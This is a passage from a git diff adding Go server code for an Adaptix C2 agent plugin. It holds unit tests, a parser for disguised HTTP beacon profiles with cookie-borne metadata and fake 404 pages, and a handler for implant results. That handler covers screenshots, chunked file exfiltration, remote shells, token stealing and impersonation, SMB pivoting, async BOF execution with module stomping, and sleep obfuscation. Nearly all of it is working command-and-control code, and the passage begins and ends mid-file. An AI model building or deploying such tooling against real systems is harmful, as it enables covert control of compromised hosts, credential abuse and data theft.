type") + } +} + +func TestProcessDataRejectsCorruptFrame(t *testing.T) { + ext := &ExtenderAgent{} + if err := ext.ProcessData(adaptix.AgentData{}, []byte{0x02, 0x00}); err == nil { + t.Error("expected error for under-4-byte frame") + } +} + +func TestExtenderEncryptIsIdentity(t *testing.T) { + ext := &ExtenderAgent{} + data := []byte{0xaa, 0xbb, 0xcc, 0xdd} + got, err := ext.Encrypt(data, []byte("ignored-key")) + if err != nil { + t.Fatalf("Encrypt should not error: %v", err) + } + if string(got) != string(data) { + t.Errorf("Encrypt must be identity (listener owns AES): got %x, want %x", got, data) + } +} + +func TestExtenderDecryptIsIdentity(t *testing.T) { + ext := &ExtenderAgent{} + data := []byte{0xaa, 0xbb, 0xcc, 0xdd} + got, err := ext.Decrypt(data, []byte("ignored-key")) + if err != nil { + t.Fatalf("Decrypt should not error: %v", err) + } + if string(got) != string(data) { + t.Errorf("Decrypt must be identity (listener owns AES): got %x, want %x", got, data) + } +} diff --git a/src_server/agent_nonameax/pl_profile.go b/src_server/agent_nonameax/pl_profile.go new file mode 100644 index 0000000..d88d366 --- /dev/null +++ b/src_server/agent_nonameax/pl_profile.go @@ -0,0 +1,279 @@ +package main + +import ( + "encoding/json" + "fmt" + "strings" +) + +func saveProfileToStore(agentId string, profile *ProfileConfig) error { + if Ts == nil { + return fmt.Errorf("teamserver not available") + } + data, err := json.Marshal(map[string]any{ + "beacon_id_header": profile.BeaconIdHeader, + "profile": profile, + }) + if err != nil { + return err + } + return Ts.TsExtenderDataSave(extenderNameProfiles, agentId, data) +} + +func removeProfileFromStore(agentId string) { + if Ts == nil { + return + } + if err := Ts.TsExtenderDataDelete(extenderNameProfiles, agentId); err != nil { + naxLogErr("removeProfileFromStore: %v", err) + } +} + +/* ========= [ profile config from listener JSON ] ========= */ + +// parseProfileFromListenerConfig builds a ProfileConfig from the listener config +// JSON (map[string]any). This is a copy of the listener's parseProfileConfig - +// the two plugins are separate .so files so they cannot share code (ADR-002). +func parseProfileFromListenerConfig(cfg map[string]any) *ProfileConfig { + p := &ProfileConfig{ + Rotation: "sequential", + Error: ServerError{ + Status: 404, + Body: "\n

404

\n", + Headers: map[string]string{"Content-Type": "text/html"}, + }, + } + + // v2 JSON from profile_json textarea (Import JSON button in listener UI) + if jsonStr, ok := cfg["profile_json"].(string); ok && jsonStr != "" { + var parsed map[string]any + if err := json.Unmarshal([]byte(jsonStr), &parsed); err == nil { + if arr, ok := parsed["callbacks"].([]any); ok && len(arr) > 0 { + if cb, ok := arr[0].(map[string]any); ok { + parseCallbackV2Agent(cb, p) + } + } + return p + } + } + + // v2 JSON format: if "callbacks" array is present at top level, parse it directly + if raw, ok := cfg["callbacks"]; ok { + if arr, ok := raw.([]any); ok && len(arr) > 0 { + if cb, ok := arr[0].(map[string]any); ok { + parseCallbackV2Agent(cb, p) + } + } + return p + } + + // Build ProfileConfig from flat listener config fields + if raw, ok := cfg["callbacks_hosts"].([]any); ok { + for _, h := range raw { + if s, ok := h.(string); ok && s != "" { + p.Hosts = append(p.Hosts, s) + } + } + } + if uas, ok := cfg["user_agents"].([]any); ok && len(uas) > 0 { + if s, ok := uas[0].(string); ok { + p.UserAgent = s + } + } + if rot, ok := cfg["rotation"].(string); ok && rot != "" { + p.Rotation = rot + } + + // GET URIs + if raw, ok := cfg["get_uris"].([]any); ok { + for _, u := range raw { + if s, ok := u.(string); ok && s != "" { + p.Get.URIs = append(p.Get.URIs, s) + } + } + } + // POST URIs + if raw, ok := cfg["post_uris"].([]any); ok { + for _, u := range raw { + if s, ok := u.(string); ok && s != "" { + p.Post.URIs = append(p.Post.URIs, s) + } + } + } + + // Extra headers -> GET client headers + if raw, ok := cfg["extra_headers"].([]any); ok && len(raw) > 0 { + p.Get.ClientHeaders = map[string]string{} + for _, u := range raw { + if s, ok := u.(string); ok && s != "" { + if idx := strings.Index(s, ": "); idx > 0 { + p.Get.ClientHeaders[s[:idx]] = s[idx+2:] + } + } + } + } + + // Cookie name -> GET client meta as cookie + cookieName := "__session" + if cn, ok := cfg["cookie_name"].(string); ok && cn != "" { + cookieName = cn + } + p.Get.ClientMeta = OutputConfig{Format: "base64", Placement: "cookie", Name: cookieName} + + // POST defaults + p.Post.ClientMeta = OutputConfig{Format: "raw", Placement: "header", Name: "X-Beacon-Id"} + p.Post.ClientOutput = &OutputConfig{Format: "raw", Placement: "body"} + p.Post.ServerOutput = OutputConfig{Format: "raw", Placement: "body"} + p.Get.ServerOutput = OutputConfig{Format: "raw", Placement: "body"} + + // Server response headers + p.Get.ServerHeaders = map[string]string{"Content-Type": "application/octet-stream", "Connection": "keep-alive"} + p.Post.ServerHeaders = map[string]string{"Content-Type": "application/octet-stream", "Connection": "keep-alive"} + + // Error page + if errBody, ok := cfg["page-error"].(string); ok && errBody != "" { + p.Error.Body = errBody + } + + return p +} + +func parseCallbackV2Agent(cb map[string]any, p *ProfileConfig) { + if raw, ok := cb["hosts"].([]any); ok { + for _, h := range raw { + if s, ok := h.(string); ok && s != "" { + p.Hosts = append(p.Hosts, s) + } + } + } + if ua, ok := cb["user_agent"].(string); ok { + p.UserAgent = ua + } + if bh, ok := cb["beacon_id_header"].(string); ok { + p.BeaconIdHeader = bh + } + if rot, ok := cb["rotation"].(string); ok { + p.Rotation = rot + } + if se, ok := cb["server_error"].(map[string]any); ok { + if st, ok := se["status"].(float64); ok { + p.Error.Status = int(st) + } else if st, ok := se["http_status"].(float64); ok { + p.Error.Status = int(st) + } + if body, ok := se["body"].(string); ok { + p.Error.Body = body + } else if body, ok := se["response"].(string); ok { + p.Error.Body = body + } + if hdrs, ok := se["headers"].(map[string]any); ok { + p.Error.Headers = map[string]string{} + for k, v := range hdrs { + if s, ok := v.(string); ok { + p.Error.Headers[k] = s + } + } + } + } + if get, ok := cb["get"].(map[string]any); ok { + parseHTTPTransactionV2Agent(get, &p.Get, false) + } + if post, ok := cb["post"].(map[string]any); ok { + parseHTTPTransactionV2Agent(post, &p.Post, true) + } +} + +func parseHTTPTransactionV2Agent(raw map[string]any, tx *HTTPTransaction, isPost bool) { + uriKey := "uri" + if _, ok := raw[uriKey]; !ok { + uriKey = "uris" + } + if uris, ok := raw[uriKey].([]any); ok { + for _, u := range uris { + if s, ok := u.(string); ok && s != "" { + tx.URIs = append(tx.URIs, s) + } + } + } + + client := raw + if c, ok := raw["client"].(map[string]any); ok { + client = c + } + + if hdrs, ok := client["headers"].(map[string]any); ok { + tx.ClientHeaders = map[string]string{} + for k, v := range hdrs { + if s, ok := v.(string); ok { + tx.ClientHeaders[k] = s + } + } + } + if meta, ok := client["metadata"].(map[string]any); ok { + tx.ClientMeta = parseOutputConfigV2Agent(meta) + } else if meta, ok := raw["client_meta"].(map[string]any); ok { + tx.ClientMeta = parseOutputConfigV2Agent(meta) + } + if isPost { + if out, ok := client["output"].(map[string]any); ok { + cfg := parseOutputConfigV2Agent(out) + tx.ClientOutput = &cfg + } else if out, ok := raw["client_output"].(map[string]any); ok { + cfg := parseOutputConfigV2Agent(out) + tx.ClientOutput = &cfg + } + } + if params, ok := client["parameters"].(map[string]any); ok { + tx.ClientParams = map[string]string{} + for k, v := range params { + if s, ok := v.(string); ok { + tx.ClientParams[k] = s + } + } + } + + server := raw + if s, ok := raw["server"].(map[string]any); ok { + server = s + } + + if shdrs, ok := server["headers"].(map[string]any); ok { + tx.ServerHeaders = map[string]string{} + for k, v := range shdrs { + if s, ok := v.(string); ok { + tx.ServerHeaders[k] = s + } + } + } + if sout, ok := server["output"].(map[string]any); ok { + tx.ServerOutput = parseOutputConfigV2Agent(sout) + } else if sout, ok := raw["server_output"].(map[string]any); ok { + tx.ServerOutput = parseOutputConfigV2Agent(sout) + } +} + +func parseOutputConfigV2Agent(raw map[string]any) OutputConfig { + cfg := OutputConfig{} + if f, ok := raw["format"].(string); ok { + cfg.Format = f + } + if m, ok := raw["mask"].(bool); ok { + cfg.Mask = m + } + if p, ok := raw["placement"].(string); ok { + cfg.Placement = p + } + if n, ok := raw["name"].(string); ok { + cfg.Name = n + } + if pre, ok := raw["prepend"].(string); ok { + cfg.Prepend = pre + } + if app, ok := raw["append"].(string); ok { + cfg.Append = app + } + if er, ok := raw["empty_resp"].(string); ok { + cfg.EmptyResp = er + } + return cfg +} diff --git a/src_server/agent_nonameax/pl_results.go b/src_server/agent_nonameax/pl_results.go new file mode 100644 index 0000000..6fd2eb7 --- /dev/null +++ b/src_server/agent_nonameax/pl_results.go @@ -0,0 +1,742 @@ +package main + +import ( + "encoding/binary" + "fmt" + "math/rand" + "strings" + "sync/atomic" + "time" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +// handleScreenshotResult parses a 0x81-tagged screenshot payload and calls TsScreenshotAdd. +// Payload: [0x81][note_len(4LE)][note][img_len(4LE)][img_bytes] +// Returns (displayText, clearText, consumed byte count). +func handleScreenshotResult(ts Teamserver, agentId string, data []byte) (string, string, int) { + if len(data) < 9 { + return "screenshot: result too short", "", len(data) + } + noteLen := int(binary.LittleEndian.Uint32(data[1:5])) + if 5+noteLen+4 > len(data) { + return "screenshot: malformed note", "", len(data) + } + note := string(data[5 : 5+noteLen]) + imgLen := int(binary.LittleEndian.Uint32(data[5+noteLen : 9+noteLen])) + if 9+noteLen+imgLen > len(data) { + return "screenshot: truncated image", "", len(data) + } + consumed := 9 + noteLen + imgLen + img := data[9+noteLen : consumed] + + sanitizedNote := "" + for _, b := range []byte(note) { + if b >= 0x20 && b <= 0x7E { + sanitizedNote += string(rune(b)) + } + } + + if ts != nil { + if err := ts.TsScreenshotAdd(agentId, sanitizedNote, img); err != nil { + naxLogErr("TsScreenshotAdd failed: %v (agentId=%s note=%q imgLen=%d)", err, agentId, sanitizedNote, len(img)) + return fmt.Sprintf("screenshot: server error: %v", err), "", consumed + } + } + naxLogOk("screenshot saved agentId=%s note=%q imgLen=%d", agentId, sanitizedNote, len(img)) + if sanitizedNote == "" { + return "Screenshot saved", "", consumed + } + return fmt.Sprintf("Screenshot saved: %s", sanitizedNote), "", consumed +} + +// handleDownloadResult parses a 0x82-tagged download payload and calls TsDownloadAdd/Update/Close. +// Payload: [0x82][name_len(4LE)][name][data_len(4LE)][data_bytes] +// Returns (displayText, clearText, consumed byte count). +// NOTE: this is the legacy single-shot path, kept for BOF-initiated downloads. +func handleDownloadResult(ts Teamserver, agentId string, data []byte) (string, string, int) { + if len(data) < 9 { + return "download: result too short", "", len(data) + } + nameLen := int(binary.LittleEndian.Uint32(data[1:5])) + if 5+nameLen+4 > len(data) { + return "download: malformed filename", "", len(data) + } + filename := string(data[5 : 5+nameLen]) + dlLen := int(binary.LittleEndian.Uint32(data[5+nameLen : 9+nameLen])) + if 9+nameLen+dlLen > len(data) { + return "download: truncated data", "", len(data) + } + consumed := 9 + nameLen + dlLen + dlData := data[9+nameLen : consumed] + fileId := fmt.Sprintf("%08x", rand.Uint32()) + if ts != nil { + addErr := ts.TsDownloadAdd(agentId, fileId, filename, int64(len(dlData))) + updErr := ts.TsDownloadUpdate(fileId, 1, dlData) + clsErr := ts.TsDownloadClose(fileId, 3) + if addErr != nil || updErr != nil || clsErr != nil { + _ = ts.TsDownloadSave(agentId, fileId, filename, dlData) + } + } + return fmt.Sprintf("Downloaded: %s (%d bytes)", filename, len(dlData)), "", consumed +} + +// handleChunkedDownload handles the new chunked download protocol. +// data is the result payload: [sub_cmd(1)][fileId(4LE)][...] +// Returns true if the caller should skip the default TsTaskUpdate path. +func handleChunkedDownload(ts Teamserver, agentId string, taskIdStr string, data []byte) (displayText string, completed bool, skipUpdate bool) { + if len(data) < 5 { + return "download: result too short", true, false + } + subCmd := data[0] + fileId := fmt.Sprintf("%08x", binary.LittleEndian.Uint32(data[1:5])) + + switch subCmd { + case DL_START: + // [sub(1)][fileId(4LE)][fileSize(4LE)][fname_len(4LE)][fname] + if len(data) < 13 { + return "download: START too short", true, false + } + fileSize := int64(binary.LittleEndian.Uint32(data[5:9])) + fnameLen := int(binary.LittleEndian.Uint32(data[9:13])) + if 13+fnameLen > len(data) { + return "download: START truncated filename", true, false + } + filename := string(data[13 : 13+fnameLen]) + activeDownloads.Store(taskIdStr, true) + if ts != nil { + _ = ts.TsDownloadAdd(agentId, fileId, filename, fileSize) + } + return fmt.Sprintf("Download started: %s (%d bytes) [fid %s]", filename, fileSize, fileId), false, false + + case DL_CONTINUE: + // [sub(1)][fileId(4LE)][chunk_data...] + chunkData := data[5:] + if ts != nil { + _ = ts.TsDownloadUpdate(fileId, 1, chunkData) + } + return "", false, true + + case DL_FINISH: + activeDownloads.Delete(taskIdStr) + if ts != nil { + _ = ts.TsDownloadClose(fileId, 3) + } + return fmt.Sprintf("Download complete [fid %s]", fileId), true, false + + default: + return fmt.Sprintf("download: unknown sub-command 0x%02x", subCmd), true, false + } +} + +func showUploadProgress(agentId string, taskIdStr string) { + midRaw, ok := taskMemoryIds.LoadAndDelete(taskIdStr) + if !ok { + return + } + mid := midRaw.(uint32) + sessionRaw, ok := activeUploads.Load(mid) + if !ok { + return + } + session := sessionRaw.(*uploadSession) + acked := atomic.AddInt32(&session.ChunksAcked, 1) + + if Ts != nil { + msg := fmt.Sprintf("Upload %s: chunk %d/%d received", session.RemotePath, acked, session.TotalChunks) + Ts.TsAgentConsoleOutput(agentId, messageSeverityInfo, msg, "", true) + } + + if int(acked) >= session.TotalChunks { + session.FileData = nil + queueUploadTask(session) + } else { + queueSaveMemoryChunk(session) + } +} + +func clearUploadProgress(taskIdStr string) (remotePath string, totalSize int) { + midRaw, ok := taskMemoryIds.LoadAndDelete(taskIdStr) + if !ok { + return "", 0 + } + mid := midRaw.(uint32) + sessionRaw, ok := activeUploads.LoadAndDelete(mid) + if !ok { + return "", 0 + } + session := sessionRaw.(*uploadSession) + return session.RemotePath, session.TotalSize +} + +func stompLabel(status byte, slotIdx byte) string { + if status == 0x01 { + if slotIdx == 0xFF { + return "[stomp: image-backed (sync)]" + } + return fmt.Sprintf("[stomp: image-backed (async slot %d)]", slotIdx) + } + return "[stomp: private fallback]" +} + +func parseBofOutput(ts Teamserver, agentId string, data []byte) (string, string) { + var displayParts []string + clearText := "" + off := 0 + for off < len(data) { + switch data[off] { + case CALLBACK_SCREENSHOT: + dt, _, n := handleScreenshotResult(ts, agentId, data[off:]) + displayParts = append(displayParts, dt) + off += n + case CALLBACK_DOWNLOAD: + dt, _, n := handleDownloadResult(ts, agentId, data[off:]) + displayParts = append(displayParts, dt) + off += n + case 0x00: + if off+5 <= len(data) { + tLen := int(binary.LittleEndian.Uint32(data[off+1 : off+5])) + if off+5+tLen <= len(data) { + clearText = string(data[off+5 : off+5+tLen]) + displayParts = append(displayParts, fmt.Sprintf("BOF output (%d bytes)", tLen)) + off += 5 + tLen + } else { + clearText = string(data[off+5:]) + off = len(data) + } + } else { + off = len(data) + } + default: + clearText = string(data[off:]) + displayParts = append(displayParts, fmt.Sprintf("BOF output (%d bytes)", len(data)-off)) + off = len(data) + } + } + displayText := "" + if len(displayParts) > 0 { + displayText = strings.Join(displayParts, "\n") + } + return displayText, clearText +} + +func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + + msgType, _, body, err := DecodeFrame(decryptedData) + if err != nil { + naxLogErr("ProcessData: DecodeFrame error: %v", err) + return err + } + switch msgType { + case WireTypeHeartbeat, WireTypeRegister: + return nil + + case WireTypeResult: + taskId, status, data, parseErr := DecodeResultBody(body) + if parseErr != nil { + naxLogErr("ProcessData: DecodeResultBody error: %v", parseErr) + return parseErr + } + taskIdStr := fmt.Sprintf("%08x", taskId) + + displayText := string(data) + clearText := "" + + if _, isShell := activeShells.Load(taskIdStr); isShell { + switch status { + case JOB_OUTPUT: + if len(data) == 0 { + if Ts != nil { + Ts.TsTerminalConnResume(agentData.Id, taskIdStr, false) + } + } else { + if Ts != nil { + output := Ts.TsConvertCpToUTF8(string(data), agentData.OemCP) + Ts.TsTerminalConnData(taskIdStr, []byte(output)) + } + } + case JOB_COMPLETE: + activeShells.Delete(taskIdStr) + if Ts != nil { + reason := "Process exited" + if len(data) >= 4 { + code := binary.LittleEndian.Uint32(data[0:4]) + if code != 0 { + reason = fmt.Sprintf("Process exited with code %d", code) + } + } + _ = Ts.TsTerminalConnClose(taskIdStr, reason) + } + case JOB_KILLED: + activeShells.Delete(taskIdStr) + if Ts != nil { + _ = Ts.TsTerminalConnClose(taskIdStr, "Terminal stopped") + } + } + return nil + } + + if _, isJob := activeJobs.Load(taskIdStr); isJob { + bofStompLabel := "" + parseData := data + if (status == JOB_COMPLETE || status == JOB_KILLED) && len(data) >= 2 { + bofStompLabel = stompLabel(data[0], data[1]) + parseData = data[2:] + } + jobDisplay, jobClear := parseBofOutput(Ts, agentData.Id, parseData) + task := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_JOB, + AgentId: agentData.Id, + TaskId: taskIdStr, + Sync: true, + } + switch status { + case JOB_OUTPUT: + task.Completed = false + task.MessageType = messageSeverityInfo + task.Message = "BOF output" + task.ClearText = jobClear + if jobDisplay != "" && jobClear == "" { + task.Message = jobDisplay + } + case JOB_COMPLETE: + activeJobs.Delete(taskIdStr) + task.Completed = true + task.FinishDate = time.Now().Unix() + task.MessageType = messageSeveritySuccess + task.Message = "BOF completed" + task.ClearText = jobClear + if jobDisplay != "" && jobClear == "" { + task.Message = jobDisplay + } + if bofStompLabel != "" { + task.Message += "\n" + bofStompLabel + } + case JOB_KILLED: + activeJobs.Delete(taskIdStr) + task.Completed = true + task.FinishDate = time.Now().Unix() + task.MessageType = messageSeverityError + task.Message = "BOF killed by watchdog/operator" + if bofStompLabel != "" { + task.Message += "\n" + bofStompLabel + } + default: + task.Completed = false + task.MessageType = messageSeverityInfo + task.Message = fmt.Sprintf("Job status=%d", status) + task.ClearText = jobClear + } + if Ts != nil { + Ts.TsTaskUpdate(agentData.Id, task) + } + return nil + } + + if taskId == 0 && status == STATUS_TUNNEL && len(data) > 0 { + processTunnelResult(agentData.Id, data) + return nil + } + + if taskId == 0 && len(data) >= 2 { + // Synthetic pivot result from NaxProcessPivots (taskId=0) + // Format: type(1) | body + pivType := data[0] + switch pivType { + case 0: // PIV_TYPE_DATA: pivot_id(4) | data_len(4) | child_data + if len(data) < 9 { + return nil + } + pivotId := fmt.Sprintf("%08x", binary.LittleEndian.Uint32(data[1:5])) + pivotDataLen := binary.LittleEndian.Uint32(data[5:9]) + if int(pivotDataLen) <= len(data)-9 { + pivotData := data[9 : 9+pivotDataLen] + if Ts != nil { + _, _, childAgentId := Ts.TsGetPivotInfoById(pivotId) + _ = Ts.TsAgentProcessData(childAgentId, pivotData) + _ = Ts.TsAgentSetTick(childAgentId, "") + clearChildMark(childAgentId) + } + } + case 1: // PIV_TYPE_UNLINK: pivot_id(4) | disconnect_type(1) + if len(data) < 6 { + return nil + } + pivotId := fmt.Sprintf("%08x", binary.LittleEndian.Uint32(data[1:5])) + pivotDisType := data[5] + if Ts != nil && pivotDisType != 0 { + _, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId) + _ = Ts.TsPivotDelete(pivotId) + deletePivotFromStore(pivotId) + msgParent := fmt.Sprintf("SMB agent disconnected %s", childAgentId) + msgChild := fmt.Sprintf(" ----- SMB agent disconnected from [%s] ----- ", parentAgentId) + Ts.TsAgentConsoleOutput(agentData.Id, messageSeveritySuccess, msgParent, "\n", true) + Ts.TsAgentConsoleOutput(childAgentId, messageSeveritySuccess, msgChild, "\n", true) + } + } + return nil + } + + if cmdIdRaw, ok := pendingCmdIds.LoadAndDelete(taskIdStr); ok { + cmdId := cmdIdRaw.(byte) + switch { + case status == STATUS_OK && cmdId == CMD_SLEEP && len(data) >= 5: + sleepMs := binary.LittleEndian.Uint32(data[0:4]) + jitterPct := uint(data[4]) + displayText = string(data[5:]) + if Ts != nil { + updated := agentData + updated.Sleep = uint(sleepMs / 1000) + updated.Jitter = jitterPct + _ = Ts.TsAgentUpdateData(updated) + } + + case status == STATUS_OK && cmdId == CMD_LS: + displayText, clearText = decodeLsResult(data) + + case status == STATUS_OK && cmdId == CMD_PS_LIST: + displayText, clearText = decodePsListResult(agentData, taskIdStr, data) + + case status == STATUS_OK && cmdId == CMD_PS_KILL && len(data) >= 4: + killedPid := binary.LittleEndian.Uint32(data[0:4]) + displayText = fmt.Sprintf("Process %d terminated", killedPid) + + case status == STATUS_OK && cmdId == CMD_PS_RUN && len(data) >= 5: + spawnedPid := binary.LittleEndian.Uint32(data[0:4]) + runFlags := data[4] + displayText = fmt.Sprintf("Process %d started", spawnedPid) + if runFlags&0x02 != 0 { + displayText += " (suspended)" + } + if runFlags&0x01 != 0 && len(data) > 5 { + clearText = string(data[5:]) + } + + case status == STATUS_OK && cmdId == CMD_UPLOAD: + remotePath, totalSize := clearUploadProgress(taskIdStr) + if remotePath != "" { + displayText = fmt.Sprintf("Upload complete: %s (%s)", remotePath, humanSize(totalSize)) + } else { + displayText = "Upload complete" + } + + case status == STATUS_OK && cmdId == CMD_CHUNKSIZE && len(data) >= 4: + newSz := binary.LittleEndian.Uint32(data[0:4]) + displayText = fmt.Sprintf("Download chunk size set to %s", humanSize(int(newSz))) + + case status == STATUS_OK && cmdId == CMD_RM: + displayText = "File deleted" + + case cmdId == CMD_PROFILE: + pendingProfiles.Delete(agentData.Id) + if status == STATUS_OK { + displayText = "Profile updated - agent will use new profile on next heartbeat" + } else { + removeProfileFromStore(agentData.Id) + displayText = "Profile update failed on agent" + } + + case status == STATUS_OK && cmdId == CMD_TOKEN_GETUID: + displayText, clearText = decodeTokenGetUidResult(data) + + case status == STATUS_OK && cmdId == CMD_TOKEN_STEAL: + displayText, clearText = decodeTokenStealResult(data) + if Ts != nil && len(data) >= 8 { + user, c := readLenPrefixedStringGo(data, 4) + domain, c := readLenPrefixedStringGo(data, c) + impFlag := byte(0) + if c < len(data) { + impFlag = data[c] + } + if impFlag != 0 { + imp := domain + "\\" + user + " *" + _ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct { + Impersonated *string `json:"impersonated"` + }{Impersonated: &imp}) + } + } + + case status == STATUS_OK && cmdId == CMD_TOKEN_USE: + if len(data) >= 4 { + user, c := readLenPrefixedStringGo(data, 0) + domain, _ := readLenPrefixedStringGo(data, c) + imp := domain + "\\" + user + " *" + displayText = fmt.Sprintf("Impersonating %s", imp) + if Ts != nil { + _ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct { + Impersonated *string `json:"impersonated"` + }{Impersonated: &imp}) + } + } else { + displayText = "Token impersonation active" + } + + case status == STATUS_OK && cmdId == CMD_TOKEN_LIST: + displayText, clearText = decodeTokenListResult(data) + + case status == STATUS_OK && cmdId == CMD_TOKEN_RM: + displayText = "Token removed" + + case status == STATUS_OK && cmdId == CMD_TOKEN_REVERT: + displayText = "Reverted to self" + if Ts != nil { + empty := "" + _ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct { + Impersonated *string `json:"impersonated"` + }{Impersonated: &empty}) + } + + case status == STATUS_OK && cmdId == CMD_TOKEN_MAKE: + displayText, clearText = decodeTokenMakeResult(data) + if Ts != nil && len(data) >= 8 { + user, c := readLenPrefixedStringGo(data, 4) + domain, _ := readLenPrefixedStringGo(data, c) + imp := domain + "\\" + user + " *" + _ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct { + Impersonated *string `json:"impersonated"` + }{Impersonated: &imp}) + } + + case status == STATUS_OK && cmdId == CMD_TOKEN_PRIVS: + displayText, clearText = decodeTokenPrivsResult(data) + + case status == STATUS_ERR && (cmdId == CMD_TOKEN_GETUID || cmdId == CMD_TOKEN_STEAL || cmdId == CMD_TOKEN_USE || cmdId == CMD_TOKEN_LIST || cmdId == CMD_TOKEN_RM || cmdId == CMD_TOKEN_REVERT || cmdId == CMD_TOKEN_MAKE || cmdId == CMD_TOKEN_PRIVS): + if len(data) >= 4 { + errCode := binary.LittleEndian.Uint32(data[0:4]) + displayText = fmt.Sprintf("Token command failed: %s (error %d)", win32ErrorName(errCode), errCode) + } else { + displayText = "Token command failed" + } + + case cmdId == CMD_LINK && status == STATUS_OK && len(data) >= 5: + linkType := data[0] + watermark := fmt.Sprintf("%08x", binary.LittleEndian.Uint32(data[1:5])) + beat := data[5:] + naxLogInfo("CMD_LINK: parent=%s linkType=%d wm=%s beatLen=%d", agentData.Id, linkType, watermark, len(beat)) + if len(beat) >= 16 { + naxLogInfo("CMD_LINK: beat sessionId=%s cipherLen=%d", string(beat[:16]), len(beat)-16) + } + if Ts != nil { + childAgentId, linkErr := Ts.TsListenerInteralHandler(watermark, beat) + if linkErr != nil { + naxLogErr("CMD_LINK: TsListenerInteralHandler wm=%s: %v", watermark, linkErr) + } + if childAgentId != "" { + _ = Ts.TsPivotCreate(taskIdStr, agentData.Id, childAgentId, "", false) + savePivotToStore(taskIdStr, agentData.Id, childAgentId) + emptyMark := "" + _ = Ts.TsAgentUpdateDataPartial(childAgentId, struct { + Mark *string `json:"mark"` + }{Mark: &emptyMark}) + if linkType == 1 { + displayText = fmt.Sprintf("----- New SMB pivot agent: [%s]===[%s] (pivot: %s) -----", agentData.Id, childAgentId, taskIdStr) + Ts.TsAgentConsoleOutput(childAgentId, messageSeveritySuccess, displayText, "\n", true) + } + } else { + displayText = "link failed: listener returned empty agent ID" + } + } + + case cmdId == CMD_UNLINK && len(data) >= 5: + pivotId := fmt.Sprintf("%08x", binary.LittleEndian.Uint32(data[0:4])) + pivotType := data[4] + if Ts != nil { + _, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId) + if pivotType != 0 { + _ = Ts.TsPivotDelete(pivotId) + deletePivotFromStore(pivotId) + msgParent := fmt.Sprintf("SMB agent disconnected %s", childAgentId) + msgChild := fmt.Sprintf(" ----- SMB agent disconnected from [%s] ----- ", parentAgentId) + displayText = msgParent + Ts.TsAgentConsoleOutput(childAgentId, messageSeveritySuccess, msgChild, "\n", true) + } else { + displayText = fmt.Sprintf("unlink %s: pivot not found", pivotId) + } + } + + case cmdId == CMD_PIVOT_EXEC && len(data) >= 8: + pivotId := fmt.Sprintf("%08x", binary.LittleEndian.Uint32(data[0:4])) + pivotDataLen := binary.LittleEndian.Uint32(data[4:8]) + if int(pivotDataLen) <= len(data)-8 { + pivotData := data[8 : 8+pivotDataLen] + if Ts != nil { + _, _, childAgentId := Ts.TsGetPivotInfoById(pivotId) + _ = Ts.TsAgentProcessData(childAgentId, pivotData) + _ = Ts.TsAgentSetTick(childAgentId, "") + clearChildMark(childAgentId) + } + } + return nil + + case cmdId == CMD_BOF && status == STATUS_ASYNC: + activeJobs.Store(taskIdStr, true) + task := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_JOB, + AgentId: agentData.Id, + TaskId: taskIdStr, + Completed: false, + Sync: true, + MessageType: messageSeverityInfo, + Message: "BOF queued for async execution", + } + if Ts != nil { + Ts.TsTaskUpdate(agentData.Id, task) + } + return nil + + case cmdId == CMD_DOWNLOAD && status == STATUS_OK && len(data) > 0: + dlDisplay, dlCompleted, dlSkip := handleChunkedDownload(Ts, agentData.Id, taskIdStr, data) + if dlSkip { + return nil + } + displayText = dlDisplay + if !dlCompleted { + task := adaptix.TaskData{ + Type: taskTypeTask, + AgentId: agentData.Id, + TaskId: taskIdStr, + Completed: false, + Sync: true, + MessageType: messageSeverityInfo, + Message: displayText, + } + if Ts != nil { + Ts.TsTaskUpdate(agentData.Id, task) + } + return nil + } + + case cmdId == CMD_SAVEMEMORY: + showUploadProgress(agentData.Id, taskIdStr) + return nil + + case cmdId == CMD_BOF || cmdId == CMD_SCREENSHOT: + if status == STATUS_OK && len(data) > 0 { + bofStompLabel := "" + parseData := data + if len(data) >= 2 { + bofStompLabel = stompLabel(data[0], data[1]) + parseData = data[2:] + } + displayText, clearText = parseBofOutput(Ts, agentData.Id, parseData) + if displayText == "" { + displayText = fmt.Sprintf("BOF output (%d bytes)", len(parseData)) + } + if bofStompLabel != "" { + displayText += "\n" + bofStompLabel + } + } else if status == STATUS_OK { + switch cmdId { + case CMD_SCREENSHOT: + displayText = "screenshot failed (no data)" + default: + displayText = "BOF completed (no output)" + } + } + + case cmdId == CMD_JOB_LIST && status == STATUS_OK && len(data) >= 4: + count := binary.LittleEndian.Uint32(data[0:4]) + var lines []string + lines = append(lines, fmt.Sprintf("Active jobs: %d", count)) + lines = append(lines, fmt.Sprintf(" %-10s %-10s %s", "Task ID", "State", "Elapsed")) + lines = append(lines, fmt.Sprintf(" %-10s %-10s %s", "-------", "-----", "-------")) + off := 4 + for i := uint32(0); i < count && off+9 <= len(data); i++ { + tid := binary.LittleEndian.Uint32(data[off : off+4]) + state := data[off+4] + elapsed := binary.LittleEndian.Uint32(data[off+5 : off+9]) + stateStr := "unknown" + switch state { + case 0: + stateStr = "pending" + case 1: + stateStr = "running" + case 2: + stateStr = "finished" + case 3: + stateStr = "killed" + } + lines = append(lines, fmt.Sprintf(" %08x %-10s %ds", tid, stateStr, elapsed)) + off += 9 + } + displayText = lines[0] + clearText = strings.Join(lines, "\n") + + case cmdId == CMD_JOB_KILL: + if status == STATUS_OK { + displayText = "Job kill signal sent" + } else { + displayText = "Job not found" + } + + case cmdId == CMD_SLEEPOBF_CONFIG: + if status == STATUS_OK && len(data) >= 2 { + onOff := func(b byte) string { + if b == 1 { + return "on" + } + return "off" + } + displayText = fmt.Sprintf("Sleep obfuscation config updated:\n sleep_obf: %s", + onOff(data[0])) + } else { + displayText = "sleepobf-config: command failed" + } + } + } else if _, isDl := activeDownloads.Load(taskIdStr); isDl && status == STATUS_OK && len(data) > 0 { + dlDisplay, dlCompleted, dlSkip := handleChunkedDownload(Ts, agentData.Id, taskIdStr, data) + if dlSkip { + return nil + } + displayText = dlDisplay + if !dlCompleted { + task := adaptix.TaskData{ + Type: 